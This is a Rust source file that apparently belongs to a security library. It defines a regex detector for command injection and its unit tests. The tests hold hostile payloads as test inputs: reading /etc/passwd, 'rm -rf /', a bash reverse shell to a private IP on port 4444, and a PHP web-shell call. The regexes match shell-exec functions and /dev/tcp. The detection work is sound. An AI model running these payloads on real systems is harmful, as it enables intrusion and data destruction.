security_rust/injection/
command_injection.rs1use crate::{regex_detect, AttackCategory, DetectionResult, Detector, Severity};
4use regex::Regex;
5use std::sync::LazyLock;
6
7static PATTERNS: LazyLock<Vec<Regex>> = LazyLock::new(|| {
8 vec![
9 Regex::new(r"`[^`]+`").unwrap(),
10 Regex::new(r"\$\([^)]+\)").unwrap(),
11 Regex::new(r"\|[\s]*\w+").unwrap(),
12 Regex::new(r"\|\|[\s]*\w+").unwrap(),
13 Regex::new(r"&&\s*\w+").unwrap(),
14 Regex::new(r"/dev/tcp[/\w]*").unwrap(),
15 Regex::new(r"(?i)passthru\s*\(").unwrap(),
16 Regex::new(r"(?i)shell_exec\s*\(").unwrap(),
17 Regex::new(r"(?i)system\s*\(").unwrap(),
18 Regex::new(r"(?i)exec\s*\(").unwrap(),
19 Regex::new(r"(?i)popen\s*\(").unwrap(),
20 Regex::new(r"(?i)pcntl_exec\s*\(").unwrap(),
21 Regex::new(r"(?i)cmd\.exe").unwrap(),
22 Regex::new(r"(?i)powershell").unwrap(),
23 Regex::new(r">/dev/null").unwrap(),
24 ]
25});
26
27pub struct CommandInjectionDetector;
28
29impl Detector for CommandInjectionDetector {
30 fn name(&self) -> &'static str {
31 "command_injection"
32 }
33
34 fn detect(&self, input: &str) -> Option<DetectionResult> {
35 regex_detect(&PATTERNS, self.name(), AttackCategory::Injection, Severity::Critical, "Command injection detected", input)
36 }
37}
38
39#[cfg(test)]
40mod tests {
41 use super::*;
42
43 fn det() -> CommandInjectionDetector {
44 CommandInjectionDetector
45 }
46
47 fn assert_hit(input: &str) {
48 crate::test_helpers::assert_detected(
49 &det(),
50 input,
51 AttackCategory::Injection,
52 Severity::Critical,
53 );
54 }
55
56 #[test]
57 fn name_is_command_injection() {
58 assert_eq!(det().name(), "command_injection");
59 }
60
61 #[test]
62 fn detects_common_payloads() {
63 for input in [
64 "`cat /etc/passwd`",
65 "$(rm -rf /)",
66 "ls | grep passwd",
67 "cd /tmp && rm -rf *",
68 "bash -i >& /dev/tcp/10.0.0.1/4444",
69 "php -r 'system($_GET[\"cmd\"]);'",
70 "cmd.exe /c dir",
71 "powershell -Command Get-Process",
72 ] {
73 assert_hit(input);
74 }
75 }
76
77 #[test]
78 fn benign_inputs_not_detected() {
79 for input in [
80 "Hello, this is a normal text input. Nothing suspicious here.",
81 "The system is running normally",
82 "I executed the plan successfully",
83 "Pipes are used to join commands in unix",
84 "Please run the update script",
85 ] {
86 assert!(det().detect(input).is_none(), "false positive: {input}");
87 }
88 }
89
90 #[test]
91 fn edge_cases() {
92 assert!(det().detect("").is_none());
93 assert!(det().detect(" \t\n ").is_none());
94 assert!(det().detect("你好世界 こんにちは").is_none());
95 assert!(det().detect("system id").is_none());
97 assert!(det().detect("rm -rf /").is_none());
98 assert!(det().detect("cmd /c dir").is_none());
99 }
100
101 #[test]
102 fn obfuscated_variants_detected() {
103 for input in [
104 "SYSTEM('id')",
105 "Shell_Exec('id')",
106 "PowerShell -Command Get-Process",
107 "PASSTHRU('id')",
108 ] {
109 assert_hit(input);
110 }
111 }
112}